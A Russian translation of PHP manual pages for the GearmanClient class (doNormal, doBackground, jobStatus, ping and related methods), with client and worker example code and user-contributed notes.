Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Результат выполнения задачи в виде строки.

Примеры

Пример #1 Простое представление задания с непосредственным возвратом

<?php

# Код клиента

echo "Начало\n";

# Создание клиента
$gmclient= new GearmanClient();

# Указание сервера по умолчанию (localhost).
$gmclient->addServer();

echo "Отправка задания\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Успешно: $result\n";

?>
<?php

echo "Начало\n";

# Создание экземпляра обработчика
$gmworker= new GearmanWorker();

# Указание сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрация функции "reverse" на сервере. Изменение функции обработчика на
# "reverse_fn_fast" для более быстрой обработки без вывода.
$gmworker->addFunction("reverse", "reverse_fn");

print "Ожидание задания...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

Результатом выполнения данного примера будет что-то подобное:

Начало
Отправка задания
Успешно: !olleH

Пример #2 Передача задания и получение инкрементного состояния

Отправляется задание и устанавливается цикл для получения информации об изменении статуса. У обработчика указана искусственная задержка для моделирования длительного выполнения задания и задана отправка состояния и данных во время обработки. Каждый последующий вызов GearmanClient::do() выводит информацию о статусе выполнения текущего задания.

<?php

# Код клиента

# Создание экземпляра клиента Gearman
$gmclient= new GearmanClient();

# Указание сервера по умолчанию (localhost).
$gmclient->addServer();

echo "Отправка задания\n";

# Отправка задания reverse
do
{
$result = $gmclient->doNormal("reverse", "Hello!");
# Проверка на различные возвращаемые форматы и ошибки

switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
echo "Данные: $result\n";
break;
case GEARMAN_WORK_STATUS:
list($numerator, $denominator)= $gmclient->doStatus();
echo "Статус: $numerator/$denominator выполнено\n";
break;
case GEARMAN_WORK_FAIL:
echo "Ошибка\n";
exit;
case GEARMAN_SUCCESS:
break;
default:
echo "RET: " . $gmclient->returnCode() . "\n";
echo "Error: " . $gmclient->error() . "\n";
echo "Errno: " . $gmclient->getErrno() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Успешно: $result\n";

?>
<?php

# Код обработчика

echo "Начало\n";

# Создание экземпляра обработчика.
$gmworker= new GearmanWorker();

# Указание сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрация функции "reverse" на сервере.
$gmworker->addFunction("reverse", "reverse_fn");

print "Ожидание задания...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Полученное задание: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Рабочая нагрузка: $workload ($workload_size)\n";

# Данный цикл не является необходимым, только иллюстрирует процесс
for ($x= 0; $x < $workload_size; $x++)
{
echo "Отправка статуса: " + $x + 1 . "/$workload_size выполнено\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Результат: $result\n";

# Возврат результата, отправляемого клиенту
return $result;
}

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод обработчика:

Начало
Ожидание задания...
Полученное задание: H:foo.local:106
Рабочая нагрузка: Hello! (6)
1/6 выполнено
2/6 выполнено
3/6 выполнено
4/6 выполнено
5/6 выполнено
6/6 выполнено
Результат: !olleH

Вывод клиента:

Начало
Отправка задания
Статус: 1/6 выполнено
Данные: H
Статус: 2/6 выполнено
Данные: e
Статус: 3/6 выполнено
Данные: l
Статус: 4/6 выполнено
Данные: l
Статус: 5/6 выполнено
Данные: o
Статус: 6/6 выполнено
Данные: !
Успешно: !olleH

Смотрите также

  • GearmanClient::doHigh() - Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doLow() - Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doBackground() - Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doHighBackground() - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
  • GearmanClient::doLowBackground() - Запускает на выполнение с низким приоритетом задачу в фоновом режиме

User Contributed Notes

Shane Harter 15-Jun-2010 11:41
Note that this isn't blocking -- that do() will return as soon as the job is accepted by the Gearman jobserver.

That lets you do..while until the return code is success or failure as you see in the examples.


Запускает выполнение задачи в фоновом режиме

  • « GearmanClient::do
  • GearmanClient::doHigh »
  • PHP Manual
  • GearmanClient
  • Запускает выполнение задачи в фоновом режиме

GearmanClient::doBackground

(PECL gearman >= 0.5.0)

GearmanClient::doBackground — Запускает выполнение задачи в фоновом режиме

Описание

public GearmanClient::doBackground(string $function, string $workload, ?string $unique = null): string

Запускает выполнение задачи в фоновом режиме, возвращая дескриптор задания, который может быть использован для запроса состояния выполняющейся задачи.

Список параметров

function

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Дескриптор задания для отправленной задачи.

Примеры

Пример #1 Отправляет и отслеживает фоновое задание

Обработчик в этом примере имеет искусственную задержку, чтобы смоделировать длительное выполнение задания. Клиент периодически проверяет состояние выполняющегося задания.

<?php

/* создание объекта */
$gmclient= new GearmanClient();

/* указание сервера по умолчанию */
$gmclient->addServer();

/* запуск выполнение клиента */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
echo "неуспешный код возврата\n";
exit;
}

$done = false;
do
{
sleep(3);
$stat = $gmclient->jobStatus($job_handle);
if (!$stat[0]) // задание известно, но не выполнено
$done = true;
echo "Выполняется: " . ($stat[1] ? "true" : "false") . ", числитель: " . $stat[2] . ", знаменатель: " . $stat[3] . "\n";
}
while(!$done);

echo "завершено!\n";

?>

Результатом выполнения данного примера будет что-то подобное:

Выполняется: true, числитель: 3, знаменатель: 14
Выполняется: true, числитель: 6, знаменатель: 14
Выполняется: true, числитель: 9, знаменатель: 14
Выполняется: true, числитель: 12, знаменатель: 14
Выполняется: false, числитель: 0, знаменатель: 0
завершено!

Смотрите также

  • GearmanClient::doNormal() - Выполняет одиночное задание и возвращает результат
  • GearmanClient::doHigh() - Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doLow() - Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doHighBackground() - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
  • GearmanClient::doLowBackground() - Запускает на выполнение с низким приоритетом задачу в фоновом режиме

User Contributed Notes

felix at passcod dot name 18-Aug-2017 01:16
Behaviour of the unique ID argument:

If it's not provided, it defaults to a UUIDv1 (timestamp + mac address).

Otherwise, if a job with the same unique ID exists (i.e. is either queued or currently executing), then that job is used, not the one you're submitting. This does not apply to past (completed) jobs, and works across the entire job server pool, assuming no partitioning.

Or with code (the values in [brackets] are the server-assigned job identifiers):

<?php

$gearman->doBackground('sleep', '3', '123'); // [H:host:1] Starts sleep(3)
$gearman->doBackground('sleep', '5', '456'); // [H:host:2] Queues sleep(5)
$gearman->doBackground('sleep', '3', '123'); // [H:host:1] Does nothing
$gearman->doBackground('sleep', '1', '123'); // [H:host:1] Also does nothing (diff args don't trigger new jobs)

sleep (3);
// Job 123 [sleep(3)] has finished by now

$gearman->doBackground('sleep', '3', '123'); // [H:host:3] Starts a new job

?>


Запускает на выполнение задачу с высоким приоритетом

  • « GearmanClient::doBackground
  • GearmanClient::doHighBackground »
  • PHP Manual
  • GearmanClient
  • Запускает на выполнение задачу с высоким приоритетом

GearmanClient::doHigh

(PECL gearman >= 0.5.0)

GearmanClient::doHigh — Запускает на выполнение задачу с высоким приоритетом

Описание

public GearmanClient::doHigh(string $function, string $workload, ?string $unique = null): string

Запускает на выполнение одиночную высокоприоритетную задачу и возвращает строку, содержащую результат. Функция зависит от GearmanClient и GearmanWorker, поскольку необходимо обеспечить единый формат результата. Высокоприоритетные задачи имеют преимущество над нормальными и низкоприоритетными задачам в очереди заданий.

Список параметров

function

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Строка, содержащая результат выполнения задачи.

Смотрите также

  • GearmanClient::doNormal() - Выполняет одиночное задание и возвращает результат
  • GearmanClient::doLow() - Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doBackground() - Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doHighBackground() - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
  • GearmanClient::doLowBackground() - Запускает на выполнение с низким приоритетом задачу в фоновом режиме

User Contributed Notes

There are no user contributed notes for this page.


Запускает на выполнение с высоким приоритетом задачу в фоновом режиме

  • « GearmanClient::doHigh
  • GearmanClient::doJobHandle »
  • PHP Manual
  • GearmanClient
  • Запускает на выполнение с высоким приоритетом задачу в фоновом режиме

GearmanClient::doHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::doHighBackground — Запускает на выполнение с высоким приоритетом задачу в фоновом режиме

Описание

public GearmanClient::doHighBackground(string $function, string $workload, ?string $unique = null): string

Запускает на выполнение с высоким приоритетом задачу в фоновом режиме, возвращая дескриптор задания, который может быть в дальнейшем использован для запроса состояния выполняющейся задачи. Задачи высокого приоритета имеют преимущество над нормальными и низкоприоритетными задачам в очереди заданий.

Список параметров

function

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Дескриптор отправленной задачи.

Смотрите также

  • GearmanClient::doNormal() - Выполняет одиночное задание и возвращает результат
  • GearmanClient::doHigh() - Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doLow() - Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doBackground() - Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doLowBackground() - Запускает на выполнение с низким приоритетом задачу в фоновом режиме

User Contributed Notes

There are no user contributed notes for this page.


Получить дескриптор выполняющейся задачи

  • « GearmanClient::doHighBackground
  • GearmanClient::doLow »
  • PHP Manual
  • GearmanClient
  • Получить дескриптор выполняющейся задачи

GearmanClient::doJobHandle

(PECL gearman >= 0.5.0)

GearmanClient::doJobHandle — Получить дескриптор выполняющейся задачи

Описание

public GearmanClient::doJobHandle(): string

Получает дескриптор задания для выполняющейся задачи. Этот метод должен использоваться между повторным вызовами GearmanClient::doNormal(). Дескриптор задания может использоваться для получения информации о задаче.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Дескриптор задания для выполняющейся задачи.

Смотрите также

  • GearmanClient::jobStatus() - Получение статуса выполнения фонового задания

User Contributed Notes

There are no user contributed notes for this page.


Запускает на выполнение задачу с низким приоритетом

  • « GearmanClient::doJobHandle
  • GearmanClient::doLowBackground »
  • PHP Manual
  • GearmanClient
  • Запускает на выполнение задачу с низким приоритетом

GearmanClient::doLow

(PECL gearman >= 0.5.0)

GearmanClient::doLow — Запускает на выполнение задачу с низким приоритетом

Описание

public GearmanClient::doLow(string $function, string $workload, ?string $unique = null): string

Запускает на выполнение задачу с низким приоритетом и возвращает строку, содержащую результат. Функция зависит от GearmanClient и GearmanWorker, поскольку необходимо обеспечить единый формат результата. Высокоприоритетные задачи имеют преимущество над обычными и низкоприоритетными задачам в очереди заданий. Задачи нормального и высокого приоритета имеют преимущество над низкоприоритетными задачами в очереди заданий.

Список параметров

function

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Строка, содержащая результат выполнения задачи.

Смотрите также

  • GearmanClient::doNormal() - Выполняет одиночное задание и возвращает результат
  • GearmanClient::doHigh() - Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doBackground() - Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doHighBackground() - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
  • GearmanClient::doLowBackground() - Запускает на выполнение с низким приоритетом задачу в фоновом режиме

User Contributed Notes

There are no user contributed notes for this page.


Запускает на выполнение с низким приоритетом задачу в фоновом режиме

  • « GearmanClient::doLow
  • GearmanClient::doNormal »
  • PHP Manual
  • GearmanClient
  • Запускает на выполнение с низким приоритетом задачу в фоновом режиме

GearmanClient::doLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::doLowBackground — Запускает на выполнение с низким приоритетом задачу в фоновом режиме

Описание

public GearmanClient::doLowBackground(string $function, string $workload, ?string $unique = null): string

Запускает на выполнение с низким приоритетом задачу в фоновом режиме, возвращая дескриптор задания, который может быть использован для запроса состояния выполняющейся задачи. Задачи нормального и высокого приоритета имеют преимущество над низкоприоритетными задачам в очереди заданий.

Список параметров

function

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Дескриптор отправленной задачи.

Смотрите также

  • GearmanClient::doNormal() - Выполняет одиночное задание и возвращает результат
  • GearmanClient::doHigh() - Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doLow() - Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doBackground() - Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doHighBackground() - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме

User Contributed Notes

There are no user contributed notes for this page.


Выполняет одиночное задание и возвращает результат

  • « GearmanClient::doLowBackground
  • GearmanClient::doStatus »
  • PHP Manual
  • GearmanClient
  • Выполняет одиночное задание и возвращает результат

GearmanClient::doNormal

(Информация о версии неизвестна, возможно, только в Git)

GearmanClient::doNormal — Выполняет одиночное задание и возвращает результат

Описание

public GearmanClient::doNormal(string $function, string $workload, ?string $unique = null): string

Выполняет одиночное задание и возвращает строковое представление результата. Формат возвращаемого результата определяют объекты GearmanClient и GearmanWorker.

Список параметров

function

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

unique

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Строка, представляющая результат выполнения задания.

Примеры

Пример #1 Выполнение простого задания с немедленным возвратом

<?php

?>
<?php

# Код клиента

echo "Запуск\n";

# Создание клиента.
$gmclient= new GearmanClient();

# Добавление сервера по умолчанию (localhost).
$gmclient->addServer();

echo "Отправка задания\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Задание выполнено: $result\n";

?>
<?php

echo "Запуск\n";

# Создание объекта обработчика заданий.
$gmworker= new GearmanWorker();

# Добавление сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрация функции "reverse" на сервере. Замена обрабатывающей функции
# на "reverse_fn_fast" для быстрой обработки без вывода
$gmworker->addFunction("reverse", "reverse_fn");

print "Ожидание задания...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "Код возврата: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

Результатом выполнения данного примера будет что-то подобное:

Запуск
Отправка задания
Задание выполнено: !olleH

Пример #2 Отправка задания на обработку и мониторинг состояния

После отправки задания скрипт в цикле запрашивает текущий прогресс обработки. В обработчик введена искусственная задержка, чтобы смоделировать долго выполняющееся задание. Обработчик посылает клиенту своё текущее состояние, как только завершена обработка очередной порции данных. Последовательные вызовы GearmanClient::doNormal() запрашивают текущее состояние выполняющегося задания.

<?php

# Код клиента

# Создание клиента.
$gmclient= new GearmanClient();

# Добавление сервера по умолчанию (localhost).
$gmclient->addServer();

echo "Отправка задания\n";

# Отправка задания перевернуть строку
do
{
$result = $gmclient->doNormal("reverse", "Hello!");
# Проверка состояния на ошибки или возвращаемые данные.

switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
echo "Данные: $result\n";
break;
case GEARMAN_WORK_STATUS:
list($numerator, $denominator)= $gmclient->doStatus();
echo "Статус: $numerator/$denominator complete\n";
break;
case GEARMAN_WORK_FAIL:
echo "Ошибка\n";
exit;
case GEARMAN_SUCCESS:
break;
default:
echo "Код возврата: " . $gmclient->returnCode() . "\n";
echo "Ошибка: " . $gmclient->error() . "\n";
echo "Номер ошибки: " . $gmclient->getErrno() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Обработка завершена: $result\n";

?>
<?php

# Код обработчика

echo "Запуск\n";

# Создаём свой объект обработчика.
$gmworker= new GearmanWorker();

# Добавление сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрируем функцию "reverse" на сервере.
$gmworker->addFunction("reverse", "reverse_fn");

print "Ожидание задания...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "Код возврата: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Получено задание: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Загружены данные: $workload ($workload_size)\n";

# Этот цикл не является необходимым, просто показывает, как все работает
for ($x= 0; $x < $workload_size; $x++)
{
echo "Отправка статуса: " + $x + 1 . "/$workload_size завершено\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Результат: $result\n";

# Возвращаем то, что хотим отправить клиенту
return $result;
}

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод обработчика:

Запуск
Ожидание задания...
Получено задание: H:foo.local:106
Загружены данные: Hello! (6)
1/6 завершено
2/6 завершено
3/6 завершено
4/6 завершено
5/6 завершено
6/6 завершено
Результат: !olleH

Вывод клиента:

Запуск
Отправка задания
Состояние: 1/6 завершено
Данные: H
Состояние: 2/6 завершено
Данные: e
Состояние: 3/6 завершено
Данные: l
Состояние: 4/6 завершено
Данные: l
Состояние: 5/6 завершено
Данные: o
Состояние: 6/6 завершено
Данные: !
Обработка завершена: !olleH

Смотрите также

  • GearmanClient::doHigh() - Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doLow() - Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doBackground() - Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doHighBackground() - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
  • GearmanClient::doLowBackground() - Запускает на выполнение с низким приоритетом задачу в фоновом режиме

User Contributed Notes

stanislav dot reshetnev at gmail dot com 05-Nov-2014 12:13
doNormal don't work in version php_gearman 0.8.3:

PHP Fatal error:  Call to undefined method GearmanClient::doNormal()

But it exist in version 1.1.2.
fastest963 at gmail dot com 12-Jan-2013 02:19
do() or doNormal() will block until the job is accepted by the worker. Looping is only necessary if you care about the response from the job. Use setTimeout() to control how long PHP will block.

If it does timeout, it throws a PHP Warning:
PHP Warning:  GearmanClient::do(): _client_do(GEARMAN_TIMEOUT) occured during gearman_client_run_tasks() -> libgearman/client.cc:174


Получение статуса выполняющейся задачи

  • « GearmanClient::doNormal
  • GearmanClient::echo »
  • PHP Manual
  • GearmanClient
  • Получение статуса выполняющейся задачи

GearmanClient::doStatus

(PECL gearman >= 0.5.0)

GearmanClient::doStatus — Получение статуса выполняющейся задачи

Описание

public GearmanClient::doStatus(): array

Возвращает статус обработки запущенной задачи. Этот метод вызывается между повторяющимися вызовами GearmanClient::doNormal().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив, представляющий процентное отношение выполненной работы. Первый элемент соответствует количеству обработанных чанков, второй - общее количество данных.

Примеры

Пример #1 Получение состояния выполнения долгого задания

В этом примере в обработчик, переворачивающий строку, внедрена задержка, чтобы смоделировать долго выполняющееся задание. После каждой паузы обработчик выполняет GearmanJob::status(), результат которого подхватывается клиентом.

<?php

echo "Запуск\n";

# Создаём объект клиента.
$gmclient= new GearmanClient();

# Добавляем сервер по умолчанию (localhost).
$gmclient->addServer();

echo "Отправка задание\n";

# Отправляем задание перевернуть строку
do
{
$result = $gmclient->doNormal("reverse", "Hello!");

# Проверяем, есть ли ошибки или готовые данные.
switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
break;
case GEARMAN_WORK_STATUS:
# получить статус выполнения задания
list($numerator, $denominator)= $gmclient->doStatus();
echo "Статус: $numerator/$denominator завершено\n";
break;
case GEARMAN_WORK_FAIL:
echo "Ошибка\n";
exit;
case GEARMAN_SUCCESS:
break;
default:
echo "Код возврата: " . $gmclient->returnCode() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Успешно: $result\n";

?>

Результатом выполнения данного примера будет что-то подобное:

Запуск
Отправка задания
Состояние: 1/6 завершено
Состояние: 2/6 завершено
Состояние: 3/6 завершено
Состояние: 4/6 завершено
Состояние: 5/6 завершено
Состояние: 6/6 завершено
Успешно: !olleH

Смотрите также

  • GearmanClient::doNormal() - Выполняет одиночное задание и возвращает результат
  • GearmanJob::status() - Отправка статуса задания (устаревший метод)

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]

  • « GearmanClient::doStatus
  • GearmanClient::error »
  • PHP Manual
  • GearmanClient
  • Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]

GearmanClient::echo

(PECL gearman >= 0.5.0)

GearmanClient::echo — Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]

Описание

public GearmanClient::echo(string $workload): bool

Метод GearmanClient::echo() устарел начиная с pecl/gearman 1.0.0. Используйте GearmanClient::ping().

Список параметров

workload

Некоторые произвольные сериализированные данные для получения отклика

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вернуть строку ошибки для последней обнаруженной ошибки

  • « GearmanClient::echo
  • GearmanClient::getErrno »
  • PHP Manual
  • GearmanClient
  • Вернуть строку ошибки для последней обнаруженной ошибки

GearmanClient::error

(PECL gearman >= 0.5.0)

GearmanClient::error — Вернуть строку ошибки для последней обнаруженной ошибки

Описание

public GearmanClient::error(): string|false

Возвращает строку ошибки для последней обнаруженной ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Удобочитаемая строка ошибки или false, если сообщение об ошибке отсутствует.

Смотрите также

  • GearmanClient::getErrno() - Получить значение errno

User Contributed Notes

There are no user contributed notes for this page.


Получить значение errno

  • « GearmanClient::error
  • GearmanClient::jobStatus »
  • PHP Manual
  • GearmanClient
  • Получить значение errno

GearmanClient::getErrno

(PECL gearman >= 0.5.0)

GearmanClient::getErrno — Получить значение errno

Описание

public GearmanClient::getErrno(): int

Значение ERRNO в случае возвращаемого значения GEARMAN_ERRNO.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Допустимый Gearman errno.

Смотрите также

  • GearmanClient::error() - Вернуть строку ошибки для последней обнаруженной ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получение статуса выполнения фонового задания

  • « GearmanClient::getErrno
  • GearmanClient::ping »
  • PHP Manual
  • GearmanClient
  • Получение статуса выполнения фонового задания

GearmanClient::jobStatus

gearman_job_status

(PECL gearman >= 0.5.0)

GearmanClient::jobStatus -- gearman_job_status — Получение статуса выполнения фонового задания

Описание

Объектно-ориентированный стиль (метод):

public GearmanClient::jobStatus(string $job_handle): array

Получает текущее состояние выполнения задания, запущенного в фоновом режиме. Информация о состоянии включает данные о том, что задание известно обработчику, выполняется ли задание в данный момент, а также процент обработанных данных.

Список параметров

job_handle

Дескриптор задачи, который присваевается сервером Gearman

Возвращаемые значения

Массив, содержащий информацию о задании, соответствующем заданному дескриптору задания. Первый элемент массива указывает, знает ли обработчик об этом задании. Второй элемент указывает, выполняется ли задание в данный момент. Третий и четвёртый элементы отвечают за долю выполненной работы и общий объем данных, соответственно.

Примеры

Пример #1 Мониторинг процесса обработки долго выполняющегося в фоновом режиме задания

<?php

/* создаём клиента */
$gmclient= new GearmanClient();

/* добавляем сервер по умолчанию */
$gmclient->addServer();

/* запускаем клиент */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
echo "Не удалось выполнить задание\n";
exit;
}

$done = false;
do
{
sleep(3);
$stat = $gmclient->jobStatus($job_handle);
if (!$stat[0]) // задание известно обработчику, но ещё не завершено
$done = true;
echo "Выполняется: " . ($stat[1] ? "true" : "false") . ", обработано: " . $stat[2] . ", всего: " . $stat[3] . "\n";
}
while(!$done);

echo "завершено!\n";

?>

Результатом выполнения данного примера будет что-то подобное:

Выполняется: true, обработано: 3, всего: 14
Выполняется: true, обработано: 6, всего: 14
Выполняется: true, обработано: 9, всего: 14
Выполняется: true, обработано: 12, всего: 14
Выполняется: false, обработано: 0, всего: 0
завершено!

Смотрите также

  • GearmanClient::doStatus() - Получение статуса выполняющейся задачи

User Contributed Notes

richard@anon 30-May-2017 06:42
@Jan

if (!$stat[0]) // the job is known so it is not done

I believe to be correct. I read it as, if $stat[0] returns anything but false, the job is currently running, so we are not done. However, if we cannot find $stat[0] (ie: the job handle no longer exists) then the job is done.

--Richard
bot at boxconnect dot org 28-Jul-2015 08:41
The example above reads:
if (!$stat[0]) // the job is known so it is not done

I think the comment is wrong, it should read "the job is unknown, so it is done".
Regards,
Jan


Отправляет данные на все серверы, чтобы проверить, какие из них выведут эти данные

  • « GearmanClient::jobStatus
  • GearmanClient::removeOptions »
  • PHP Manual
  • GearmanClient
  • Отправляет данные на все серверы, чтобы проверить, какие из них выведут эти данные

GearmanClient::ping

(Информация о версии неизвестна, возможно, только в Git)

GearmanClient::ping — Отправляет данные на все серверы, чтобы проверить, какие из них выведут эти данные

Описание

public GearmanClient::ping(string $workload): bool

Посылает данные на все сервера и определяет, какие из них выведут эти данные в выходной поток. Посылаемые данные никак не обрабатываются. Метод используется для тестирования и отладки.

Список параметров

workload

Данные, которые можно вывести в выходной поток.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 06:53
If you want to test all job servers you can use the following code:

<?php
// Create our client object
$client= new GearmanClient();

// Add available and unavailable servers
$client->addServers('127.0.0.1:4730,127.0.0.2:4731');

// Test all job servers
$success = @$client->ping('data testing');
if (!$success) {
    die('Error: ' . $client->error());
}

// Sending job
echo $client->doNormal('reverse', 'Hello World!');
?>


Удалить клиентские опции

  • « GearmanClient::ping
  • GearmanClient::returnCode »
  • PHP Manual
  • GearmanClient
  • Удалить клиентские опции

GearmanClient::removeOptions

(PECL gearman >= 0.6.0)

GearmanClient::removeOptions — Удалить клиентские опции

Описание

public GearmanClient::removeOptions(int $option): bool

Удаляет одну или несколько клиентских опций.

Список параметров

option

Опции, которые должны быть удалены.

Возвращаемые значения

Всегда возвращает true.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 09:15
To remove several options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
$client->removeOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS);
?>


Получить последний код возврата Gearman

  • « GearmanClient::removeOptions
  • GearmanClient::runTasks »
  • PHP Manual
  • GearmanClient
  • Получить последний код возврата Gearman

GearmanClient::returnCode

(PECL gearman >= 0.5.0)

GearmanClient::returnCode — Получить последний код возврата Gearman

Описание

public GearmanClient::returnCode(): int

Возвращает последний код возврата Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Допустимый код возврата Gearman.

User Contributed Notes

casper at bcx dot nl 31-Aug-2017 07:55
GEARMAN_TIMEOUT is returned when a timeout is set with  ->setTimeout()
stanislav dot reshetnev at gmail dot com 05-Nov-2014 11:10
Valid return codes are:

GEARMAN_SUCCESS
GEARMAN_PAUSE
GEARMAN_IO_WAIT
GEARMAN_WORK_STATUS
GEARMAN_WORK_DATA
GEARMAN_WORK_EXCEPTION
GEARMAN_WORK_WARNING
GEARMAN_WORK_FAIL

Given from php_gearman.c version 0.8.3.


Запустить список задач в параллельном режиме

  • « GearmanClient::returnCode
  • GearmanClient::setClientCallback »
  • PHP Manual
  • GearmanClient
  • Запустить список задач в параллельном режиме

GearmanClient::runTasks

(PECL gearman >= 0.5.0)

GearmanClient::runTasks — Запустить список задач в параллельном режиме

Описание

public GearmanClient::runTasks(): bool

Для набора задач, ранее добавленных с помощью GearmanClient::addTask(), GearmanClient::addTaskHigh(), GearmanClient::addTaskLow(), GearmanClient::addTaskBackground(), GearmanClient::addTaskHighBackground() или GearmanClient::addTaskLowBackground(), этот вызов начинает выполнение в параллельном режиме.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Установить функцию обратного вызова, когда есть пакет данных для задачи (устаревший метод)

  • « GearmanClient::runTasks
  • GearmanClient::setCompleteCallback »
  • PHP Manual
  • GearmanClient
  • Установить функцию обратного вызова, когда есть пакет данных для задачи (устаревший метод)

GearmanClient::setClientCallback

(PECL gearman <= 0.5.0)

GearmanClient::setClientCallback — Установить функцию обратного вызова, когда есть пакет данных для задачи (устаревший метод)

Описание

public GearmanClient::setClientCallback(callable $callback): void

Устанавливает функцию обратного вызова для принятия пакетов данных для задачи. Функция обратного вызова должна принимать единственный параметр - объект GearmanTask.

Замечание:

Этот метод был заменён на GearmanClient::setDataCallback() в версии 0.6.0 модуля Gearman.

Список параметров

callback

Функция или метод, которые должны быть вызваны.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
